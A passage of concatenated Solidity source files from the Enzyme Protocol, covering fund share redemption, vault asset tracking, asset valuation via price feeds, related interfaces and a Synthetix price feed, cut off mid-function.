uint256 gav = _preBuySharesGav.add(_investmentAmount);
IFeeManager(FEE_MANAGER).invokeHook(
IFeeManager.FeeHook.PostBuyShares,
abi.encode(_buyer, _investmentAmount, _sharesIssued),
gav
);
IPolicyManager(POLICY_MANAGER).validatePolicies(
address(this),
IPolicyManager.PolicyHook.PostBuyShares,
abi.encode(_buyer, _investmentAmount, _sharesIssued, gav)
);
}
// REDEEM SHARES
/// @notice Redeem all of the sender's shares for a proportionate slice of the fund's assets
/// @return payoutAssets_ The assets paid out to the redeemer
/// @return payoutAmounts_ The amount of each asset paid out to the redeemer
/// @dev See __redeemShares() for further detail
function redeemShares()
external
returns (address[] memory payoutAssets_, uint256[] memory payoutAmounts_)
{
return
__redeemShares(
msg.sender,
ERC20(vaultProxy).balanceOf(msg.sender),
new address[](0),
new address[](0)
);
}
/// @notice Redeem a specified quantity of the sender's shares for a proportionate slice of
/// the fund's assets, optionally specifying additional assets and assets to skip.
/// @param _sharesQuantity The quantity of shares to redeem
/// @param _additionalAssets Additional (non-tracked) assets to claim
/// @param _assetsToSkip Tracked assets to forfeit
/// @return payoutAssets_ The assets paid out to the redeemer
/// @return payoutAmounts_ The amount of each asset paid out to the redeemer
/// @dev Any claim to passed _assetsToSkip will be forfeited entirely. This should generally
/// only be exercised if a bad asset is causing redemption to fail.
function redeemSharesDetailed(
uint256 _sharesQuantity,
address[] calldata _additionalAssets,
address[] calldata _assetsToSkip
) external returns (address[] memory payoutAssets_, uint256[] memory payoutAmounts_) {
return __redeemShares(msg.sender, _sharesQuantity, _additionalAssets, _assetsToSkip);
}
/// @dev Helper to parse an array of payout assets during redemption, taking into account
/// additional assets and assets to skip. _assetsToSkip ignores _additionalAssets.
/// All input arrays are assumed to be unique.
function __parseRedemptionPayoutAssets(
address[] memory _trackedAssets,
address[] memory _additionalAssets,
address[] memory _assetsToSkip
) private pure returns (address[] memory payoutAssets_) {
address[] memory trackedAssetsToPayout = _trackedAssets.removeItems(_assetsToSkip);
if (_additionalAssets.length == 0) {
return trackedAssetsToPayout;
}
// Add additional assets. Duplicates of trackedAssets are ignored.
bool[] memory indexesToAdd = new bool[](_additionalAssets.length);
uint256 additionalItemsCount;
for (uint256 i; i < _additionalAssets.length; i++) {
if (!trackedAssetsToPayout.contains(_additionalAssets[i])) {
indexesToAdd[i] = true;
additionalItemsCount++;
}
}
if (additionalItemsCount == 0) {
return trackedAssetsToPayout;
}
payoutAssets_ = new address[](trackedAssetsToPayout.length.add(additionalItemsCount));
for (uint256 i; i < trackedAssetsToPayout.length; i++) {
payoutAssets_[i] = trackedAssetsToPayout[i];
}
uint256 payoutAssetsIndex = trackedAssetsToPayout.length;
for (uint256 i; i < _additionalAssets.length; i++) {
if (indexesToAdd[i]) {
payoutAssets_[payoutAssetsIndex] = _additionalAssets[i];
payoutAssetsIndex++;
}
}
return payoutAssets_;
}
/// @dev Helper for system actions immediately prior to redeeming shares.
/// Policy validation is not currently allowed on redemption, to ensure continuous redeemability.
function __preRedeemSharesHook(address _redeemer, uint256 _sharesQuantity)
private
allowsPermissionedVaultAction
{
try
IFeeManager(FEE_MANAGER).invokeHook(
IFeeManager.FeeHook.PreRedeemShares,
abi.encode(_redeemer, _sharesQuantity),
0
)
{} catch (bytes memory reason) {
emit PreRedeemSharesHookFailed(reason, _redeemer, _sharesQuantity);
}
}
/// @dev Helper to redeem shares.
/// This function should never fail without a way to bypass the failure, which is assured
/// through two mechanisms:
/// 1. The FeeManager is called with the try/catch pattern to assure that calls to it
/// can never block redemption.
/// 2. If a token fails upon transfer(), that token can be skipped (and its balance forfeited)
/// by explicitly specifying _assetsToSkip.
/// Because of these assurances, shares should always be redeemable, with the exception
/// of the timelock period on shares actions that must be respected.
function __redeemShares(
address _redeemer,
uint256 _sharesQuantity,
address[] memory _additionalAssets,
address[] memory _assetsToSkip
)
private
locksReentrance
returns (address[] memory payoutAssets_, uint256[] memory payoutAmounts_)
{
require(_sharesQuantity > 0, "__redeemShares: _sharesQuantity must be >0");
require(
_additionalAssets.isUniqueSet(),
"__redeemShares: _additionalAssets contains duplicates"
);
require(_assetsToSkip.isUniqueSet(), "__redeemShares: _assetsToSkip contains duplicates");
IVault vaultProxyContract = IVault(vaultProxy);
// Only apply the sharesActionTimelock when a migration is not pending
if (!IDispatcher(DISPATCHER).hasMigrationRequest(address(vaultProxyContract))) {
__assertSharesActionNotTimelocked(_redeemer);
acctToLastSharesAction[_redeemer] = block.timestamp;
}
// When a fund is paused, settling fees will be skipped
if (!__fundIsPaused()) {
// Note that if a fee with `SettlementType.Direct` is charged here (i.e., not `Mint`),
// then those fee shares will be transferred from the user's balance rather
// than reallocated from the sharesQuantity being redeemed.
__preRedeemSharesHook(_redeemer, _sharesQuantity);
}
// Check the shares quantity against the user's balance after settling fees
ERC20 sharesContract = ERC20(address(vaultProxyContract));
require(
_sharesQuantity <= sharesContract.balanceOf(_redeemer),
"__redeemShares: Insufficient shares"
);
// Parse the payout assets given optional params to add or skip assets.
// Note that there is no validation that the _additionalAssets are known assets to
// the protocol. This means that the redeemer could specify a malicious asset,
// but since all state-changing, user-callable functions on this contract share the
// non-reentrant modifier, there is nowhere to perform a reentrancy attack.
payoutAssets_ = __parseRedemptionPayoutAssets(
vaultProxyContract.getTrackedAssets(),
_additionalAssets,
_assetsToSkip
);
require(payoutAssets_.length > 0, "__redeemShares: No payout assets");
// Destroy the shares.
// Must get the shares supply before doing so.
uint256 sharesSupply = sharesContract.totalSupply();
vaultProxyContract.burnShares(_redeemer, _sharesQuantity);
// Calculate and transfer payout asset amounts due to redeemer
payoutAmounts_ = new uint256[](payoutAssets_.length);
address denominationAssetCopy = denominationAsset;
for (uint256 i; i < payoutAssets_.length; i++) {
uint256 assetBalance = __finalizeIfSynthAndGetAssetBalance(
address(vaultProxyContract),
payoutAssets_[i],
true
);
// If all remaining shares are being redeemed, the logic changes slightly
if (_sharesQuantity == sharesSupply) {
payoutAmounts_[i] = assetBalance;
// Remove every tracked asset, except the denomination asset
if (payoutAssets_[i] != denominationAssetCopy) {
vaultProxyContract.removeTrackedAsset(payoutAssets_[i]);
}
} else {
payoutAmounts_[i] = assetBalance.mul(_sharesQuantity).div(sharesSupply);
}
// Transfer payout asset to redeemer
if (payoutAmounts_[i] > 0) {
vaultProxyContract.withdrawAssetTo(payoutAssets_[i], _redeemer, payoutAmounts_[i]);
}
}
emit SharesRedeemed(_redeemer, _sharesQuantity, payoutAssets_, payoutAmounts_);
return (payoutAssets_, payoutAmounts_);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `denominationAsset` variable
/// @return denominationAsset_ The `denominationAsset` variable value
function getDenominationAsset() external view override returns (address denominationAsset_) {
return denominationAsset;
}
/// @notice Gets the routes for the various contracts used by all funds
/// @return dispatcher_ The `DISPATCHER` variable value
/// @return feeManager_ The `FEE_MANAGER` variable value
/// @return fundDeployer_ The `FUND_DEPLOYER` variable value
/// @return integrationManager_ The `INTEGRATION_MANAGER` variable value
/// @return policyManager_ The `POLICY_MANAGER` variable value
/// @return primitivePriceFeed_ The `PRIMITIVE_PRICE_FEED` variable value
/// @return valueInterpreter_ The `VALUE_INTERPRETER` variable value
function getLibRoutes()
external
view
returns (
address dispatcher_,
address feeManager_,
address fundDeployer_,
address integrationManager_,
address policyManager_,
address primitivePriceFeed_,
address valueInterpreter_
)
{
return (
DISPATCHER,
FEE_MANAGER,
FUND_DEPLOYER,
INTEGRATION_MANAGER,
POLICY_MANAGER,
PRIMITIVE_PRICE_FEED,
VALUE_INTERPRETER
);
}
/// @notice Gets the `overridePause` variable
/// @return overridePause_ The `overridePause` variable value
function getOverridePause() external view returns (bool overridePause_) {
return overridePause;
}
/// @notice Gets the `sharesActionTimelock` variable
/// @return sharesActionTimelock_ The `sharesActionTimelock` variable value
function getSharesActionTimelock() external view returns (uint256 sharesActionTimelock_) {
return sharesActionTimelock;
}
/// @notice Gets the `vaultProxy` variable
/// @return vaultProxy_ The `vaultProxy` variable value
function getVaultProxy() external view override returns (address vaultProxy_) {
return vaultProxy;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../../../persistent/dispatcher/IDispatcher.sol";
import "../../../../persistent/vault/VaultLibBase1.sol";
import "./IVault.sol";
/// @title VaultLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice The per-release proxiable library contract for VaultProxy
/// @dev The difference in terminology between "asset" and "trackedAsset" is intentional.
/// A fund might actually have asset balances of un-tracked assets,
/// but only tracked assets are used in gav calculations.
/// Note that this contract inherits VaultLibSafeMath (a verbatim Open Zeppelin SafeMath copy)
/// from SharesTokenBase via VaultLibBase1
contract VaultLib is VaultLibBase1, IVault {
using SafeERC20 for ERC20;
// Before updating TRACKED_ASSETS_LIMIT in the future, it is important to consider:
// 1. The highest tracked assets limit ever allowed in the protocol
// 2. That the next value will need to be respected by all future releases
uint256 private constant TRACKED_ASSETS_LIMIT = 20;
modifier onlyAccessor() {
require(msg.sender == accessor, "Only the designated accessor can make this call");
_;
}
/////////////
// GENERAL //
/////////////
/// @notice Sets the account that is allowed to migrate a fund to new releases
/// @param _nextMigrator The account to set as the allowed migrator
/// @dev Set to address(0) to remove the migrator.
function setMigrator(address _nextMigrator) external {
require(msg.sender == owner, "setMigrator: Only the owner can call this function");
address prevMigrator = migrator;
require(_nextMigrator != prevMigrator, "setMigrator: Value already set");
migrator = _nextMigrator;
emit MigratorSet(prevMigrator, _nextMigrator);
}
///////////
// VAULT //
///////////
/// @notice Adds a tracked asset to the fund
/// @param _asset The asset to add
/// @dev Allows addition of already tracked assets to fail silently.
function addTrackedAsset(address _asset) external override onlyAccessor {
if (!isTrackedAsset(_asset)) {
require(
trackedAssets.length < TRACKED_ASSETS_LIMIT,
"addTrackedAsset: Limit exceeded"
);
assetToIsTracked[_asset] = true;
trackedAssets.push(_asset);
emit TrackedAssetAdded(_asset);
}
}
/// @notice Grants an allowance to a spender to use the fund's asset
/// @param _asset The asset for which to grant an allowance
/// @param _target The spender of the allowance
/// @param _amount The amount of the allowance
function approveAssetSpender(
address _asset,
address _target,
uint256 _amount
) external override onlyAccessor {
ERC20(_asset).approve(_target, _amount);
}
/// @notice Makes an arbitrary call with this contract as the sender
/// @param _contract The contract to call
/// @param _callData The call data for the call
function callOnContract(address _contract, bytes calldata _callData)
external
override
onlyAccessor
{
(bool success, bytes memory returnData) = _contract.call(_callData);
require(success, string(returnData));
}
/// @notice Removes a tracked asset from the fund
/// @param _asset The asset to remove
function removeTrackedAsset(address _asset) external override onlyAccessor {
__removeTrackedAsset(_asset);
}
/// @notice Withdraws an asset from the VaultProxy to a given account
/// @param _asset The asset to withdraw
/// @param _target The account to which to withdraw the asset
/// @param _amount The amount of asset to withdraw
function withdrawAssetTo(
address _asset,
address _target,
uint256 _amount
) external override onlyAccessor {
ERC20(_asset).safeTransfer(_target, _amount);
emit AssetWithdrawn(_asset, _target, _amount);
}
/// @dev Helper to the get the Vault's balance of a given asset
function __getAssetBalance(address _asset) private view returns (uint256 balance_) {
return ERC20(_asset).balanceOf(address(this));
}
/// @dev Helper to remove an asset from a fund's tracked assets.
/// Allows removal of non-tracked asset to fail silently.
function __removeTrackedAsset(address _asset) private {
if (isTrackedAsset(_asset)) {
assetToIsTracked[_asset] = false;
uint256 trackedAssetsCount = trackedAssets.length;
for (uint256 i = 0; i < trackedAssetsCount; i++) {
if (trackedAssets[i] == _asset) {
if (i < trackedAssetsCount - 1) {
trackedAssets[i] = trackedAssets[trackedAssetsCount - 1];
}
trackedAssets.pop();
break;
}
}
emit TrackedAssetRemoved(_asset);
}
}
////////////
// SHARES //
////////////
/// @notice Burns fund shares from a particular account
/// @param _target The account for which to burn shares
/// @param _amount The amount of shares to burn
function burnShares(address _target, uint256 _amount) external override onlyAccessor {
__burn(_target, _amount);
}
/// @notice Mints fund shares to a particular account
/// @param _target The account for which to burn shares
/// @param _amount The amount of shares to mint
function mintShares(address _target, uint256 _amount) external override onlyAccessor {
__mint(_target, _amount);
}
/// @notice Transfers fund shares from one account to another
/// @param _from The account from which to transfer shares
/// @param _to The account to which to transfer shares
/// @param _amount The amount of shares to transfer
function transferShares(
address _from,
address _to,
uint256 _amount
) external override onlyAccessor {
__transfer(_from, _to, _amount);
}
// ERC20 overrides
/// @dev Disallows the standard ERC20 approve() function
function approve(address, uint256) public override returns (bool) {
revert("Unimplemented");
}
/// @notice Gets the `symbol` value of the shares token
/// @return symbol_ The `symbol` value
/// @dev Defers the shares symbol value to the Dispatcher contract
function symbol() public view override returns (string memory symbol_) {
return IDispatcher(creator).getSharesTokenSymbol();
}
/// @dev Disallows the standard ERC20 transfer() function
function transfer(address, uint256) public override returns (bool) {
revert("Unimplemented");
}
/// @dev Disallows the standard ERC20 transferFrom() function
function transferFrom(
address,
address,
uint256
) public override returns (bool) {
revert("Unimplemented");
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `accessor` variable
/// @return accessor_ The `accessor` variable value
function getAccessor() external view override returns (address accessor_) {
return accessor;
}
/// @notice Gets the `creator` variable
/// @return creator_ The `creator` variable value
function getCreator() external view returns (address creator_) {
return creator;
}
/// @notice Gets the `migrator` variable
/// @return migrator_ The `migrator` variable value
function getMigrator() external view returns (address migrator_) {
return migrator;
}
/// @notice Gets the `owner` variable
/// @return owner_ The `owner` variable value
function getOwner() external view override returns (address owner_) {
return owner;
}
/// @notice Gets the `trackedAssets` variable
/// @return trackedAssets_ The `trackedAssets` variable value
function getTrackedAssets() external view override returns (address[] memory trackedAssets_) {
return trackedAssets;
}
/// @notice Check whether an address is a tracked asset of the fund
/// @param _asset The address to check
/// @return isTrackedAsset_ True if the address is a tracked asset of the fund
function isTrackedAsset(address _asset) public view override returns (bool isTrackedAsset_) {
return assetToIsTracked[_asset];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../price-feeds/derivatives/IAggregatedDerivativePriceFeed.sol";
import "../price-feeds/derivatives/IDerivativePriceFeed.sol";
import "../price-feeds/primitives/IPrimitivePriceFeed.sol";
import "./IValueInterpreter.sol";
/// @title ValueInterpreter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Interprets price feeds to provide covert value between asset pairs
/// @dev This contract contains several "live" value calculations, which for this release are simply
/// aliases to their "canonical" value counterparts since the only primitive price feed (Chainlink)
/// is immutable in this contract and only has one type of value. Including the "live" versions of
/// functions only serves as a placeholder for infrastructural components and plugins (e.g., policies)
/// to explicitly define the types of values that they should (and will) be using in a future release.
contract ValueInterpreter is IValueInterpreter {
using SafeMath for uint256;
address private immutable AGGREGATED_DERIVATIVE_PRICE_FEED;
address private immutable PRIMITIVE_PRICE_FEED;
constructor(address _primitivePriceFeed, address _aggregatedDerivativePriceFeed) public {
AGGREGATED_DERIVATIVE_PRICE_FEED = _aggregatedDerivativePriceFeed;
PRIMITIVE_PRICE_FEED = _primitivePriceFeed;
}
// EXTERNAL FUNCTIONS
/// @notice An alias of calcCanonicalAssetsTotalValue
function calcLiveAssetsTotalValue(
address[] calldata _baseAssets,
uint256[] calldata _amounts,
address _quoteAsset
) external override returns (uint256 value_, bool isValid_) {
return calcCanonicalAssetsTotalValue(_baseAssets, _amounts, _quoteAsset);
}
/// @notice An alias of calcCanonicalAssetValue
function calcLiveAssetValue(
address _baseAsset,
uint256 _amount,
address _quoteAsset
) external override returns (uint256 value_, bool isValid_) {
return calcCanonicalAssetValue(_baseAsset, _amount, _quoteAsset);
}
// PUBLIC FUNCTIONS
/// @notice Calculates the total value of given amounts of assets in a single quote asset
/// @param _baseAssets The assets to convert
/// @param _amounts The amounts of the _baseAssets to convert
/// @param _quoteAsset The asset to which to convert
/// @return value_ The sum value of _baseAssets, denominated in the _quoteAsset
/// @return isValid_ True if the price feed rates used to derive value are all valid
/// @dev Does not alter protocol state,
/// but not a view because calls to price feeds can potentially update third party state
function calcCanonicalAssetsTotalValue(
address[] memory _baseAssets,
uint256[] memory _amounts,
address _quoteAsset
) public override returns (uint256 value_, bool isValid_) {
require(
_baseAssets.length == _amounts.length,
"calcCanonicalAssetsTotalValue: Arrays unequal lengths"
);
require(
IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).isSupportedAsset(_quoteAsset),
"calcCanonicalAssetsTotalValue: Unsupported _quoteAsset"
);
isValid_ = true;
for (uint256 i; i < _baseAssets.length; i++) {
(uint256 assetValue, bool assetValueIsValid) = __calcAssetValue(
_baseAssets[i],
_amounts[i],
_quoteAsset
);
value_ = value_.add(assetValue);
if (!assetValueIsValid) {
isValid_ = false;
}
}
return (value_, isValid_);
}
/// @notice Calculates the value of a given amount of one asset in terms of another asset
/// @param _baseAsset The asset from which to convert
/// @param _amount The amount of the _baseAsset to convert
/// @param _quoteAsset The asset to which to convert
/// @return value_ The equivalent quantity in the _quoteAsset
/// @return isValid_ True if the price feed rates used to derive value are all valid
/// @dev Does not alter protocol state,
/// but not a view because calls to price feeds can potentially update third party state
function calcCanonicalAssetValue(
address _baseAsset,
uint256 _amount,
address _quoteAsset
) public override returns (uint256 value_, bool isValid_) {
if (_baseAsset == _quoteAsset || _amount == 0) {
return (_amount, true);
}
require(
IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).isSupportedAsset(_quoteAsset),
"calcCanonicalAssetValue: Unsupported _quoteAsset"
);
return __calcAssetValue(_baseAsset, _amount, _quoteAsset);
}
// PRIVATE FUNCTIONS
/// @dev Helper to differentially calculate an asset value
/// based on if it is a primitive or derivative asset.
function __calcAssetValue(
address _baseAsset,
uint256 _amount,
address _quoteAsset
) private returns (uint256 value_, bool isValid_) {
if (_baseAsset == _quoteAsset || _amount == 0) {
return (_amount, true);
}
// Handle case that asset is a primitive
if (IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).isSupportedAsset(_baseAsset)) {
return
IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).calcCanonicalValue(
_baseAsset,
_amount,
_quoteAsset
);
}
// Handle case that asset is a derivative
address derivativePriceFeed = IAggregatedDerivativePriceFeed(
AGGREGATED_DERIVATIVE_PRICE_FEED
)
.getPriceFeedForDerivative(_baseAsset);
if (derivativePriceFeed != address(0)) {
return __calcDerivativeValue(derivativePriceFeed, _baseAsset, _amount, _quoteAsset);
}
revert("__calcAssetValue: Unsupported _baseAsset");
}
/// @dev Helper to calculate the value of a derivative in an arbitrary asset.
/// Handles multiple underlying assets (e.g., Uniswap and Balancer pool tokens).
/// Handles underlying assets that are also derivatives (e.g., a cDAI-ETH LP)
function __calcDerivativeValue(
address _derivativePriceFeed,
address _derivative,
uint256 _amount,
address _quoteAsset
) private returns (uint256 value_, bool isValid_) {
(address[] memory underlyings, uint256[] memory underlyingAmounts) = IDerivativePriceFeed(
_derivativePriceFeed
)
.calcUnderlyingValues(_derivative, _amount);
require(underlyings.length > 0, "__calcDerivativeValue: No underlyings");
require(
underlyings.length == underlyingAmounts.length,
"__calcDerivativeValue: Arrays unequal lengths"
);
// Let validity be negated if any of the underlying value calculations are invalid
isValid_ = true;
for (uint256 i = 0; i < underlyings.length; i++) {
(uint256 underlyingValue, bool underlyingValueIsValid) = __calcAssetValue(
underlyings[i],
underlyingAmounts[i],
_quoteAsset
);
if (!underlyingValueIsValid) {
isValid_ = false;
}
value_ = value_.add(underlyingValue);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `AGGREGATED_DERIVATIVE_PRICE_FEED` variable
/// @return aggregatedDerivativePriceFeed_ The `AGGREGATED_DERIVATIVE_PRICE_FEED` variable value
function getAggregatedDerivativePriceFeed()
external
view
returns (address aggregatedDerivativePriceFeed_)
{
return AGGREGATED_DERIVATIVE_PRICE_FEED;
}
/// @notice Gets the `PRIMITIVE_PRICE_FEED` variable
/// @return primitivePriceFeed_ The `PRIMITIVE_PRICE_FEED` variable value
function getPrimitivePriceFeed() external view returns (address primitivePriceFeed_) {
return PRIMITIVE_PRICE_FEED;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IDispatcher Interface
/// @author Enzyme Council <[email protected]>
interface IDispatcher {
function cancelMigration(address _vaultProxy, bool _bypassFailure) external;
function claimOwnership() external;
function deployVaultProxy(
address _vaultLib,
address _owner,
address _vaultAccessor,
string calldata _fundName
) external returns (address vaultProxy_);
function executeMigration(address _vaultProxy, bool _bypassFailure) external;
function getCurrentFundDeployer() external view returns (address currentFundDeployer_);
function getFundDeployerForVaultProxy(address _vaultProxy)
external
view
returns (address fundDeployer_);
function getMigrationRequestDetailsForVaultProxy(address _vaultProxy)
external
view
returns (
address nextFundDeployer_,
address nextVaultAccessor_,
address nextVaultLib_,
uint256 executableTimestamp_
);
function getMigrationTimelock() external view returns (uint256 migrationTimelock_);
function getNominatedOwner() external view returns (address nominatedOwner_);
function getOwner() external view returns (address owner_);
function getSharesTokenSymbol() external view returns (string memory sharesTokenSymbol_);
function getTimelockRemainingForMigrationRequest(address _vaultProxy)
external
view
returns (uint256 secondsRemaining_);
function hasExecutableMigrationRequest(address _vaultProxy)
external
view
returns (bool hasExecutableRequest_);
function hasMigrationRequest(address _vaultProxy)
external
view
returns (bool hasMigrationRequest_);
function removeNominatedOwner() external;
function setCurrentFundDeployer(address _nextFundDeployer) external;
function setMigrationTimelock(uint256 _nextTimelock) external;
function setNominatedOwner(address _nextNominatedOwner) external;
function setSharesTokenSymbol(string calldata _nextSymbol) external;
function signalMigration(
address _vaultProxy,
address _nextVaultAccessor,
address _nextVaultLib,
bool _bypassFailure
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
/// @title FeeManager Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for the FeeManager
interface IFeeManager {
// No fees for the current release are implemented post-redeemShares
enum FeeHook {
Continuous,
BuySharesSetup,
PreBuyShares,
PostBuyShares,
BuySharesCompleted,
PreRedeemShares
}
enum SettlementType {None, Direct, Mint, Burn, MintSharesOutstanding, BurnSharesOutstanding}
function invokeHook(
FeeHook,
bytes calldata,
uint256
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IPrimitivePriceFeed Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for primitive price feeds
interface IPrimitivePriceFeed {
function calcCanonicalValue(
address,
uint256,
address
) external view returns (uint256, bool);
function calcLiveValue(
address,
uint256,
address
) external view returns (uint256, bool);
function isSupportedAsset(address) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IValueInterpreter interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for ValueInterpreter
interface IValueInterpreter {
function calcCanonicalAssetValue(
address,
uint256,
address
) external returns (uint256, bool);
function calcCanonicalAssetsTotalValue(
address[] calldata,
uint256[] calldata,
address
) external returns (uint256, bool);
function calcLiveAssetValue(
address,
uint256,
address
) external returns (uint256, bool);
function calcLiveAssetsTotalValue(
address[] calldata,
uint256[] calldata,
address
) external returns (uint256, bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../infrastructure/price-feeds/derivatives/feeds/SynthetixPriceFeed.sol";
import "../interfaces/ISynthetixAddressResolver.sol";
import "../interfaces/ISynthetixExchanger.sol";
/// @title AssetFinalityResolver Contract
/// @author Enzyme Council <[email protected]>
/// @notice A contract that helps achieve asset finality
abstract contract AssetFinalityResolver {
address internal immutable SYNTHETIX_ADDRESS_RESOLVER;
address internal immutable SYNTHETIX_PRICE_FEED;
constructor(address _synthetixPriceFeed, address _synthetixAddressResolver) public {
SYNTHETIX_ADDRESS_RESOLVER = _synthetixAddressResolver;
SYNTHETIX_PRICE_FEED = _synthetixPriceFeed;
}
/// @dev Helper to finalize a Synth balance at a given target address and return its balance
function __finalizeIfSynthAndGetAssetBalance(
address _target,
address _asset,
bool _requireFinality
) internal returns (uint256 assetBalance_) {
bytes32 currencyKey = SynthetixPriceFeed(SYNTHETIX_PRICE_FEED).getCurrencyKeyForSynth(
_asset
);
if (currencyKey != 0) {
address synthetixExchanger = ISynthetixAddressResolver(SYNTHETIX_ADDRESS_RESOLVER)
.requireAndGetAddress(
"Exchanger",
"finalizeAndGetAssetBalance: Missing Exchanger"
);
try ISynthetixExchanger(synthetixExchanger).settle(_target, currencyKey) {} catch {
require(!_requireFinality, "finalizeAndGetAssetBalance: Cannot settle Synth");
}
}
return ERC20(_asset).balanceOf(_target);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `SYNTHETIX_ADDRESS_RESOLVER` variable
/// @return synthetixAddressResolver_ The `SYNTHETIX_ADDRESS_RESOLVER` variable value
function getSynthetixAddressResolver()
external
view
returns (address synthetixAddressResolver_)
{
return SYNTHETIX_ADDRESS_RESOLVER;
}
/// @notice Gets the `SYNTHETIX_PRICE_FEED` variable
/// @return synthetixPriceFeed_ The `SYNTHETIX_PRICE_FEED` variable value
function getSynthetixPriceFeed() external view returns (address synthetixPriceFeed_) {
return SYNTHETIX_PRICE_FEED;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../../interfaces/ISynthetix.sol";
import "../../../../interfaces/ISynthetixAddressResolver.sol";
import "../../../../interfaces/ISynthetixExchangeRates.sol";
import "../../../../interfaces/ISynthetixProxyERC20.sol";
import "../../../../interfaces/ISynthetixSynth.sol";
import "../../../utils/DispatcherOwnerMixin.sol";
import "../IDerivativePriceFeed.sol";
/// @title SynthetixPriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice A price feed that uses Synthetix oracles as price sources
contract SynthetixPriceFeed is IDerivativePriceFeed, DispatcherOwnerMixin {
using SafeMath for uint256;
event SynthAdded(address indexed synth, bytes32 currencyKey);
event SynthCurrencyKeyUpdated(
address indexed synth,
bytes32 prevCurrencyKey,
bytes32 nextCurrencyKey
);
uint256 private constant SYNTH_UNIT = 10**18;
address private immutable ADDRESS_RESOLVER;
address private immutable SUSD;
mapping(address => bytes32) private synthToCurrencyKey;
constructor(
address _dispatcher,
address _addressResolver,
address _sUSD,
address[] memory _synths
) public DispatcherOwnerMixin(_dispatcher) {
ADDRESS_RESOLVER = _addressResolver;
SUSD = _sUSD;
address[] memory sUSDSynths = new address[](1);
sUSDSynths[0] = _sUSD;
__addSynths(sUSDSynths);
__addSynths(_synths);
}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
underlyings_ = new address[](1);
underlyings_[0] = SUSD;
underlyingAmounts_ = new uint256[](1);
bytes32 currencyKey = getCurrencyKeyForSynth(_derivative);
require(currencyKey != 0, "calcUnderlyingValues: _derivative is not supported");
address exchangeRates = ISynthetixAddressResolver(ADDRESS_RESOLVER).requireAndGetAddress(
"ExchangeRates",
"calcUnderlyingValues: Missing ExchangeRates"
);
(uint256 rate, bool isInvalid) = ISynthetixExchangeRates(exchangeRates).rateAndInvalid(
currencyKey
);
require(!isInvalid, "calcUnderlyingValues: _derivative rate is not valid");
underlyingAmounts_[0] = _derivativeAmount.mul(rate).div(SYNTH_UNIT);
return (underlyings_, underlyingAmounts_);
}
/// @notice Checks whether an asset is a supported primitive of the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is a supported primitive
function isSupportedAsset(address _asset) public view override returns (bool isSupported_) {
return getCurrencyKeyForSynth(_asset) != 0;
}
/////////////////////
// SYNTHS REGISTRY //
/////////////////////
/// @notice Adds Synths to the price feed
/// @param _synths Synths to add
function addSynths(address[] calldata _synths) external onlyDispatcherOwner {
require(_synths.length > 0, "addSynths: Empty _synths");
__addSynths(_synths);
}
/// @notice Updates the cached currencyKey value for specified Synths
/// @param _synths Synths to update
/// @dev Anybody can call this function
function updateSynthCurrencyKeys(address[] calldata _synths) external {
require(_synths.length > 0, "updateSynthCurrencyKeys: Empty _synths");
for (uint256 i; i < _synths.length; i++) {
bytes32 prevCurrencyKey = synthToCurrencyKey[_synths[i]];
require(prevCurrencyKey != 0, "updateSynthCurrencyKeys: Synth not set");
bytes32 nextCurrencyKey = __getCurrencyKey(_synths[i]);
require(
nextCurrencyKey != prevCurrencyKey,
